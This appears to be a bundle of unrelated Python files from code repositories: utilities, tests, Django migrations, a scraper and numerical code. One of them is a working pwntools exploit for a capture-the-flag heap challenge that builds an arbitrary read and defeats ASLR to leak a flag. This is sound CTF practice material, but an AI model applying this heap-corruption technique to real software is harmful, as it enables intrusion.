__all__ = [ "get_baseline_thresholds", "get_binary_threshold", "get_multiclass_thresholds", "get_multilabel_thresholds", "get_binary_threshold_cv", "get_multilabel_thresholds_cv", "get_thresholds_greedy", "get_multilabel_thresholds_greedy", "get_multiclass_thresholds_greedy", "get_best_multilabel_thresholds", "get_best_multiclass_thresholds", ]

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import functools def require_login(method): def wrapper(self, *args, **kwargs): user = self.get_secure_cookie("wisemonitor_user") uri = self.request.uri if not user: self.redirect("/login/?next=%s" % uri) else: return method(self, *args, **kwargs) return wrapper

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from pwn import * from struct import pack, unpack from sys import exit DEBUG = False REMOTE = None REMOTE = 'ctf.segfault.me' RVA_HEAP_ALLOC = 0xEDE # readelf -s chal | grep heap_alloc (Windows) RVA_HEAP_ALLOC = 0x145E # readelf -s chal | grep heap_alloc (Linux) RVA_FLAG_TWO = 0x203020 # readelf -s chal | grep flag_two (Windows) RVA_FLAG_TWO = 0x5020 # readelf -s chal | grep flag_two (Linux) if DEBUG: P = gdb.debug('./chal') elif REMOTE: P = remote(REMOTE, 3000) else: P = process(['./chal']) P.recvuntil("> ") def run(cmd): P.sendline(cmd) out = P.recvuntil("> ") return out """ Things are a bit more complicated now, since the second flag is not on the heap. GOAL: We will need to create an arbitrary read primitive that lets us read anywhere we want. Of course, we also need to figure out where the second flag is, and this means defeating ASLR. ARBITRARY READ: In challenge 1, we overwrote a `canvas_t` to corrupt its canvas->private flag. In doing so, you may have noticed that we corrupted the width and height of the canvas. Going further, we should also be able to corrupt the `canvas->data` base address. Printing a canvas with a corrupt `canvas->data` will likely result in a segfault, but it can also be used to perform arbitrary reads if we can write a valid address in the `data` field. Recall the canvas_t layout: typedef struct canvas_ { char *title; // 8B uint16_t width, height; // 4B uint16_t private; // 2B (canvas_t + 12) uint16_t id; // 2B char *data; // 8B struct canvas_ *next; // 8B } canvas_t; // 32B (0x20) If we overwrite data with the address of the second FLAG, we can simply print this canvas with its new ID to recover the FLAG. DEFEATING ASLR: To defeat ASLR, we will need the address of any symbol in the binary, since we can compute the base address using the formula `BASE = ADDRESS - RVA`. Once we know the base address, we can compute the absolute address of any symbol in the binary using the same formula. `readelf -s chal` shows that there is a symbol called `flag_two` at RVA 0x203020. EXPLOIT: We know, from reading through `heap.h` that `alloc_t` has a chunk pointer, which has a pointer to the heap, which ultimately has a pointer to the allocator functions (`heap_free` and `heap_grow`). If we can leak this address, we can then leak the second flag. It might be tempting to try a technique similar to the first challenge, but the `canvas->title` overflow is quite limiting as it will stop reading bytes at the first NUL terminator it encounters, and would require continually re-allocating the preceding canvas. A more reliable solution is to use a combination of 3 canvas instances to build an easy to use arbitrary read primitive. Given the (simplified) heap layout: +----------+----------+----------+ | Canvas 1 | Canvas 2 | Canvas 3 | +----------+----------+----------+ The idea is as follows: 1. Canvas 1 is freed, and re-allocated, overflowing its `title` field to corrupt canvas 2's width and height. The resulting `c2->data` can now be indexed out of bounds when performing an `edit` command. 2. `edit` is used on Canvas 2 to accurately corrupt canvas 3. 3. Canvas 3 is used to perform arbitrary reads of the desired size. 4. Canvas 2 and 3 are used in conjunction to perform several complex reads without needing re-allocations. pwndbg> hexdump ((uint8_t*)c) 100 +0000 0x7ffff75e3030 70 30 5e f7 ff 7f 00 00 27 00 0f 00 00 00 01 00 │p0^.│....│'...│....│ +0010 0x7ffff75e3040 a0 30 5e f7 ff 7f 00 00 00 00 00 00 00 00 00 00 │.0^.│....│....│....│ +0020 0x7ffff75e3050 40 95 75 55 55 55 00 00 10 00 00 00 00 00 00 00 │@.uU│UU..│....│....│ +0030 0x7ffff75e3060 00 00 00 00 00 00 00 00 80 30 5e f7 ff 7f 00 00 │....│....│.0^.│....│ >> +0040 0x7ffff75e3070 41 74 61 72 69 00 00 00 00 00 00 00 00 00 00 00 │Atar│i...│....│....│ ; c1->title +0050 0x7ffff75e3080 40 95 75 55 55 55 00 00 4b 02 00 00 00 00 00 00 │@.uU│UU..│K...│....│ +0060 0x7ffff75e3090 00 00 00 00 │....│ │ │ │ ... pwndbg> hexdump 0x7ffff75e3070+635 v +0000 0x7ffff75e32eb 40 95 75 55 55 55 00 00 20 00 00 00 00 00 00 00 │@.uU│UU..│....│....│ +0010 0x7ffff75e32fb 00 00 00 00 00 00 00 00 2b 33 5e f7 ff 7f 00 00 │....│....│+3^.│....│ +0020 0x7ffff75e330b 4b 33 5e f7 ff 7f 00 00 3d 00 18 00 00 00 02 00 │K3^.│....│=...│....│ ; c2->width (0x3d == 61) +0030 0x7ffff75e331b 7b 33 5e f7 ff 7f 00 00 30 30 5e f7 ff 7f 00 00 │{3^.│....│00^.│....│ Calculate the c2->width offset: 0x7ffff75e330b + 8 == 0x7ffff75e3313 0x7ffff75e3313 - 0x7ffff75e3070 == 675 Calculate the c3->width offset from c2->data to be able to corrupt c3. pwndbg> hexdump 0x7ffff75e330b+0x50 +0000 0x7ffff75e335b 40 95 75 55 55 55 00 00 ba 05 00 00 00 00 00 00 │@.uU│UU..│....│....│ +0010 0x7ffff75e336b 00 00 00 00 00 00 00 00 35 39 5e f7 ff 7f 00 00 │....│....│59^.│....│ +0020 0x7ffff75e337b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │....│....│....│....│ c2->data = 0x7ffff75e337b pwndbg> hexdump 0x7ffff75e3030+0x40+675+1500 150 v +0000 0x7ffff75e38ef 20 20 20 20 20 20 20 2d 2d 27 20 20 20 20 20 20 │....│...-│-'..│....│ +0010 0x7ffff75e38ff 20 20 60 2d 60 2d 2d 60 2d 2d 2e 5f 5f 5f 2e 2d │..`-│`--`│--._│__.-│ +0020 0x7ffff75e390f 27 2d 27 2d 2d 2d 20 20 20 20 20 20 20 20 20 20 │'-'-│--..│....│....│ +0030 0x7ffff75e391f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │....│....│....│....│ +0040 0x7ffff75e392f 20 20 20 20 00 00 40 95 75 55 55 55 00 00 20 00 │....│..@.│uUUU│....│ +0050 0x7ffff75e393f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 39 │....│....│....│..u9│ +0060 0x7ffff75e394f 5e f7 ff 7f 00 00 95 39 5e f7 ff 7f 00 00 25 00 │^...│...9│^...│..%.│ ; c3->width (0x25) +0070 0x7ffff75e395f 01 00 01 00 03 00 c5 39 5e f7 ff 7f 00 00 0b 33 │....│...9│^...│...3│ ; c3->height, c3->private, c3->id, c3->data +0080 0x7ffff75e396f 5e f7 ff 7f 00 00 40 95 75 55 55 55 00 00 10 00 │^...│..@.│uUUU│....│ +0090 0x7ffff75e397f 00 00 00 00 00 00 0x7ffff75e395d - 0x7ffff75e337b = 1506 """ C1_SIZE = 675 # Offset between c1->title and c2->width C3_SIZE = 1506 # offset between c2->data and c3->width def corrupt_c2(): info("Corrupting canvas2") run("del 1") run("new") run("10") run("10") run("A" * C1_SIZE + "\xFF\xFF\x01") # Now c2->width is 0xFFFF and c2->height is 1. def read(addr, size): info(f"Reading {size} bytes @ 0x{addr:016x}") cmd = ( pack("<H", size) # c3->width + pack("<H", 1) # c3->height + b"\0\0" # c3->private + pack("<H", 3) # c3->id + pack("<Q", addr) # c3->data ) if b"\x0a" in cmd: error("Bad byte in canvas3! new line is not allowed.") exit(1) P.sendline( "edit 2" ) # We will edit the 65535x1 buffer. `fgets` stops reading at `\n`. P.recvuntil("New Data: ") P.send((b"3" * C3_SIZE) + cmd + b"\x0a") P.recvuntil(b"> ") out = run("show 3") return out[:size] corrupt_c2() # Now let's show the buffer for c2->data, which will leak 0xFFFF bytes including the actual buffer bytes. # This will let us `show 2` and leak the address of the chunk. # Remember that the canvas_t struct starts with title, width, so we can use C3_SIZE - 8 - sizeof(alloc_t) to calculate the # position of alloc->chunk. CHUNK_OFFSET = C3_SIZE - 8 - 32 (chunk_ptr,) = unpack("<Q", run("show 2")[CHUNK_OFFSET : CHUNK_OFFSET + 8]) success(f"chunk @ 0x{chunk_ptr:x}") # Now we can configure C3 to leak the chunk_t struct, which contains the heap pointer: # # typedef struct chunk_ # { # struct heap_ *heap; # struct alloc_ *allocs; # struct chunk_ *next; # } chunk_t; (heap_ptr,) = unpack("<Q", read(chunk_ptr, 8)) success(f"heap @ 0x{heap_ptr:x}") # Finally we can leak the `heap_alloc` address to defeat ASLR. Having a known function pointer # in the image will let us compute the base address, and any other known symbol in the image. # heap_alloc is located at `heap_t + 16`. (heap_alloc,) = unpack("<Q", read(heap_ptr + 16, 8)) success(f"heap_alloc @ 0x{heap_alloc:x}") BASE = heap_alloc - RVA_HEAP_ALLOC FLAG = BASE + RVA_FLAG_TWO info(f"BaseAddress=0x{BASE:x} FlagAddress=0x{FLAG:x}") flag = read(FLAG, 37).decode() success(f"FLAG: {flag}") P.close()

[ "alex@segfault.me" ]

alex@segfault.me

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/interface1/venv/case/mail.py

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no_license

jiangll888/interface

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from util.send_mail import SendMail from util.db_config import OperaDB class RunMail: def send_mail(self,filename=None): op = OperaDB() se = SendMail() result_list = op.get_all("select result from `case`;") result_list1 = [[value for key,value in d.items()][0] for d in result_list] pass_count = 0.0 fail_count = 0.0 for i in result_list1: if i == "pass": pass_count += 1 else: fail_count += 1 print(pass_count,fail_count) count_num = pass_count +fail_count result = "%.2f%%" % (pass_count/count_num*100) print(result) content = "本次自动化测试结果：通过"+ str(pass_count) + "个，失败" + str(fail_count) +"个，通过率为" \ + str(result) se.send_mail(["jiangliulin@163.com"],"自动化结果",content,filename) if __name__ == "__main__": r = RunMail() r.send_mail("../report/test.html")

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# -*- coding: utf-8 -*- # snapshottest: v1 - https://goo.gl/zC4yUc from __future__ import unicode_literals from snapshottest import Snapshot snapshots = Snapshot() snapshots['test_schema[all] 1'] = { 'data': { 'allProductFilePaths': { 'edges': [ { 'node': { 'note': None, 'path': 'site2:/another/way/map1', 'pathId': '1', 'product': {'name': 'map1'}, } }, { 'node': { 'note': None, 'path': 'site1:/path/to/map2', 'pathId': '2', 'product': {'name': 'map2'}, } }, { 'node': { 'note': None, 'path': 'site1:/path/to/map3', 'pathId': '3', 'product': {'name': 'map3'}, } }, { 'node': { 'note': None, 'path': 'site2:/another/way/map3', 'pathId': '4', 'product': {'name': 'map3'}, } }, { 'node': { 'note': None, 'path': 'site1:/path/to/beam1', 'pathId': '5', 'product': {'name': 'beam1'}, } }, { 'node': { 'note': None, 'path': 'site2:/another/way/beam1', 'pathId': '6', 'product': {'name': 'beam1'}, } }, { 'node': { 'note': None, 'path': 'site1:/path/to/beam2', 'pathId': '7', 'product': {'name': 'beam2'}, } }, { 'node': { 'note': 'sample comment', 'path': 'site1:/path/to/map1', 'pathId': '8', 'product': {'name': 'map1'}, } }, ], 'totalCount': 8, } } }

[ "tai.sakuma@gmail.com" ]

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drovn003/heroku

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from flask import Flask app = Flask(__name__) @app.route(‘/‘) def index(): return ‘hello, wold’

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"""Unit test the pathify_by_key_ends function.""" from pathlib import Path from snaketools import snaketools from tests.test_snaketools import * # noqa: F403,F401 def test_pathify_this(): """Ensure pathify_this returns expected values.""" assert snaketools.pathify_this("TEXT_FILE") assert snaketools.pathify_this("TEXT_PATH") assert snaketools.pathify_this("TEXT_DIR") assert snaketools.pathify_this("DIR") assert not snaketools.pathify_this("TEXT") def test_pathify_by_key_ends(config_1_dict): """Ensure pathify_by_key_ends returns expected types.""" original = config_1_dict pathified = snaketools.pathify_by_key_ends(dictionary=original) assert isinstance(pathified.COMMON, dict) assert isinstance(pathified.COMMON.RUN_NAME, str) assert isinstance(pathified.COMMON.OUT_DIR, Path) assert isinstance(pathified.COMMON.INTERIM_DIR, Path) assert isinstance(pathified.COMMON.DRAW_RULE, str) assert isinstance(pathified.COMMON.DRAW_PRETTY_NAMES, bool) assert isinstance(pathified.RULE_1, dict) assert isinstance(pathified.RULE_1.PARAMS, dict) assert isinstance(pathified.RULE_1.PARAMS.PARAM_1, int) assert isinstance(pathified.RULE_1.PARAMS.PARAM_2, str) assert isinstance(pathified.RULE_1.IN, dict) assert isinstance(pathified.RULE_1.IN.IN_FILE_1_PATH, Path)

[ "w.gus.dunn@gmail.com" ]

w.gus.dunn@gmail.com

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/experiences/sofaSceneLowBridge/topo.py

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zaneck/evolveRobots

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# topology = [ # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], # [1,1,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1] # ] topology = [ [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], [0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0], [0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0], [0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0], [0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0], [0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1], [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1] ]

[ "val.owczarek@gmail.com" ]

val.owczarek@gmail.com

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"""Funcoes de scraping.""" import collections import json from bs4 import BeautifulSoup import requests def get_closing_bracket(string, indice_inicio): """Retorna o indice da '}' correspondente a '{' no indice recebido.""" if string[indice_inicio] != '{': raise ValueError("String invalida") deque = collections.deque() for atual in range(indice_inicio, len(string)): if string[atual] == '}' and string[atual-1] != '\\': deque.popleft() elif string[atual] == '{' and string[atual-1] != '\\': deque.append(string[indice_inicio]) if not deque: return atual # O '}' correpondente foi encontrado raise ValueError("String invalida") def get_noticias(url): """Retorna as noticias com titulo e subtitulo em uma lista.""" pagina = requests.get(url) soup = BeautifulSoup(pagina.text, 'html.parser') lista_noticias = [] # Buscar noticias em html for noticia in soup.find_all(class_="feed-post-body"): titulo = noticia.find(class_="feed-post-link") if titulo is None or titulo.contents is None: continue subtitulo = noticia.find(class_="feed-post-body-resumo") noticia = dict(titulo=titulo.contents[0], subtitulo=None) if subtitulo is not None: noticia["subtitulo"] = subtitulo.contents[0] lista_noticias.append(noticia) # Buscar noticias no JSON dentro do JS da pagina feed = str(soup.find(class_="fore-posts-setted")) indice_chave = feed.find('{"') # O JSON inicia usualmente em "config" json_feed = feed[indice_chave : get_closing_bracket(feed, indice_chave)+1] dict_feed = json.loads(json_feed) for noticia in dict_feed["forePosts"] + dict_feed["items"]: if noticia["type"] in ("materia", "cobertura"): lista_noticias.append( { "titulo": noticia["content"]["title"], "subtitulo": noticia["content"].get("summary") } ) return lista_noticias

[ "schneider8357@hotmail.com" ]

schneider8357@hotmail.com

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import numpy as np from ..core.structures import Tensor from ..algorithms.decomposition.cpd import CPD def rankest(tensor, rank_range, epsilon=10e-3, verbose=False): """ Estimate the optimal Kruskal rank of a tensor Parameters ---------- tensor : Tensor Multi-dimensional data which Kruskal rank is to be estimated rank_range : list[int] List of rank values to be tested epsilon : float Threshold for the relative error of approximation. verbose : bool Enable verbose output Returns ------- optimal_rank : tuple Optimal Kruskal rank. For consistency, the type of the returned value is tuple """ if not isinstance(rank_range, list): raise TypeError("The `rank_range` should be passed as a list of integers") if not all(isinstance(value, int) for value in rank_range): raise TypeError("The `rank_range` should consist of integers only") cpd = CPD(verbose=False) rel_error = [] for rank in rank_range: cpd.decompose(tensor=tensor, rank=(rank,)) rel_error.append(cpd.cost[-1]) if verbose: print('Rank = {}, Approximation error = {}'.format((rank,), cpd.cost[-1])) if rel_error[-1] <= epsilon: break # Reset cost value for cpd. Should work even without it cpd.cost = [] optimal_value = rank_range[rel_error.index(min(rel_error))] optimal_rank = (optimal_value,) return optimal_rank def mlrank(tensor): """ Calculate the multi-linear rank of a tensor Parameters ---------- tensor : Tensor Multidimensional data which multi-linear rank is to be computed Returns ------- ml_rank : tuple Multi-linear rank """ # TODO: implement setting a threshold for singular values order = tensor.order ml_rank = [np.linalg.matrix_rank(tensor.unfold(mode=i, inplace=False).data) for i in range(order)] ml_rank = tuple(ml_rank) return ml_rank

[ "ilyakisil@gmail.com" ]

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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('kindred_api', '0002_auto_20150725_2011'), ] operations = [ migrations.RemoveField( model_name='user', name='ig_token_expiry', ), ]

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""" ASGI config for exambook project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'exambook.settings') application = get_asgi_application()

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# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'Mailbox.user' db.alter_column('paloma_mailbox', 'user_id', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'], null=True)) def backwards(self, orm): # User chose to not deal with backwards NULL issues for 'Mailbox.user' raise RuntimeError("Cannot reverse this migration. 'Mailbox.user' and its values cannot be restored.") models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'paloma.alias': { 'Meta': {'object_name': 'Alias'}, 'address': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'alias': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mailbox': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {}) }, 'paloma.domain': { 'Meta': {'object_name': 'Domain'}, 'active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'backupmx': ('django.db.models.fields.IntegerField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '200'}), 'domain': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100', 'db_index': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'maxquota': ('django.db.models.fields.BigIntegerField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'quota': ('django.db.models.fields.BigIntegerField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}), 'transport': ('django.db.models.fields.CharField', [], {'max_length': '765'}) }, 'paloma.group': { 'Meta': {'unique_together': "(('owner', 'name'), ('owner', 'symbol'))", 'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['paloma.Owner']"}), 'symbol': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}) }, 'paloma.journal': { 'Meta': {'object_name': 'Journal'}, 'dt_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_jailed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'recipient': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'sender': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'text': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}) }, 'paloma.mailbox': { 'Meta': {'object_name': 'Mailbox'}, 'address': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'bounces': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['paloma.Group']", 'symmetrical': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'default': 'None', 'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}) }, 'paloma.message': { 'Meta': {'object_name': 'Message'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mailbox': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['paloma.Mailbox']"}), 'schedule': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['paloma.Schedule']"}), 'text': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}) }, 'paloma.operator': { 'Meta': {'object_name': 'Operator'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['paloma.Owner']"}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) }, 'paloma.owner': { 'Meta': {'object_name': 'Owner'}, 'domain': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100', 'db_index': 'True'}), 'forward_to': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100', 'db_index': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) }, 'paloma.schedule': { 'Meta': {'object_name': 'Schedule'}, 'dt_start': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'forward_to': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['paloma.Group']", 'symmetrical': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['paloma.Owner']"}), 'status': ('django.db.models.fields.CharField', [], {'default': "'pending'", 'max_length': '24', 'db_index': 'True'}), 'subject': ('django.db.models.fields.CharField', [], {'max_length': '101'}), 'task': ('django.db.models.fields.CharField', [], {'default': 'None', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'text': ('django.db.models.fields.TextField', [], {'max_length': '100'}) } } complete_apps = ['paloma']

[ "gmail@hdknr.com" ]

gmail@hdknr.com

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from django.views.generic import ListView # Create your views here. from .models import Cmdr class HomePageView(ListView): model = Cmdr template_name = 'home.html'

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ombasaherman@gmail.com

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##################################################################################3 # # Jorge Albericio, 2015 # jorge@ece.utoronto.ca # ################################################################################## import chunk import numpy as np import math # in: # data : numpy 3D ndarray of dimensions i * Wx * Wy, i=# input features, Wx=Wy= size of input # filters: a list with two elements, we will use the field "data" of both, # filters[0].data = numpy 4D ndarray of dimensions N * i * Fx * Fy with the filter values # filters[1].data = numpy 1D vector with the N biases # N = # filters, Fx=Fy= filter size def computeConvolutionalLayer(data, filters, stride, padding, group): weights = filters[0].data biases = filters[1].data N = weights.shape[0] i = weights.shape[1] Fx = weights.shape[2] Fy = weights.shape[3] Ix = data.shape[1] Iy = data.shape[2] if padding != 0: data = adjustDataPadding(data, padding) Ix = data.shape[1] Iy = data.shape[2] assert weights.shape[1]*group==data.shape[0], "#filters (%d) is not equal to #input features (%d)" %(weights.shape[1], data.shape[0]) assert Ix==Iy, "Input width (%d) is not equal to Input height (%d)" %(data.shape[1], data.shape[2]) assert Fx==Fy, "Filter width (%d) is not equal to Filter height (%d)" %(Fx, Fy) output = np.zeros((N, (Ix-Fx)/stride+1, (Iy-Fy)/stride+1)) outPosX = 0 for posInputX in range(0, Ix-Fx+1, stride): outPosY = 0 print posInputX for posInputY in range(0, Iy-Fy+1, stride): for cntFilter in range(N): #for each filter we are going to calculate the convolution of the filter at the particular x,y position # This implementation will work as long as group is 1 or 2, IT WON'T WORK FOR OTHER VALUES Of GROUP if cntFilter < N/group: output[cntFilter, outPosY, outPosX] = computeWindow(weights[cntFilter], data[:(data.shape[0]/group), posInputY:posInputY+Fy, posInputX:posInputX+Fx]) else: output[cntFilter, outPosY, outPosX] = computeWindow(weights[cntFilter], data[(data.shape[0]/group):, posInputY:posInputY+Fy, posInputX:posInputX+Fx]) output[cntFilter, outPosY, outPosX] += biases[cntFilter] outPosY += 1 outPosX += 1 return output def computeWindow(filter, data): return np.sum(filter*data) # this is simply an implementation of the previous function but using loops def computeWindowLoops(filter, data): aux = 0 for posFilterX in range(filter.shape[1]): for posFilterY in range(filter.shape[2]): for posFilterI in range(filter.shape[0]): aux += filter[posFilterI][posFilterX][posFilterY] * \ data[posFilterI][posFilterX][posFilterY] return aux def adjustDataPadding(data, padding): assert padding != 0, "Padding is zero" aux = np.zeros((data.shape[0], data.shape[1] + 2*padding, data.shape[2] + 2*padding)) aux[:, padding:-padding, padding:-padding] = data return aux def computeMaxPoolLayer(data, filterSize, stride, padding): if padding !=0: adjustPadding(data, padding) Ix = data.shape[1] Iy = data.shape[2] output = np.zeros((data.shape[0], (Ix-filterSize)/stride+1, (Iy-filterSize)/stride+1)) 